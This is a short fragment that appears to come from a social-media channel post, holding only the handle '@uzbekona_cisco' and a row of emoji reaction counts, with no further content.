@uzbekona_cisco
🤔4❤1🔥1🤯1🥴1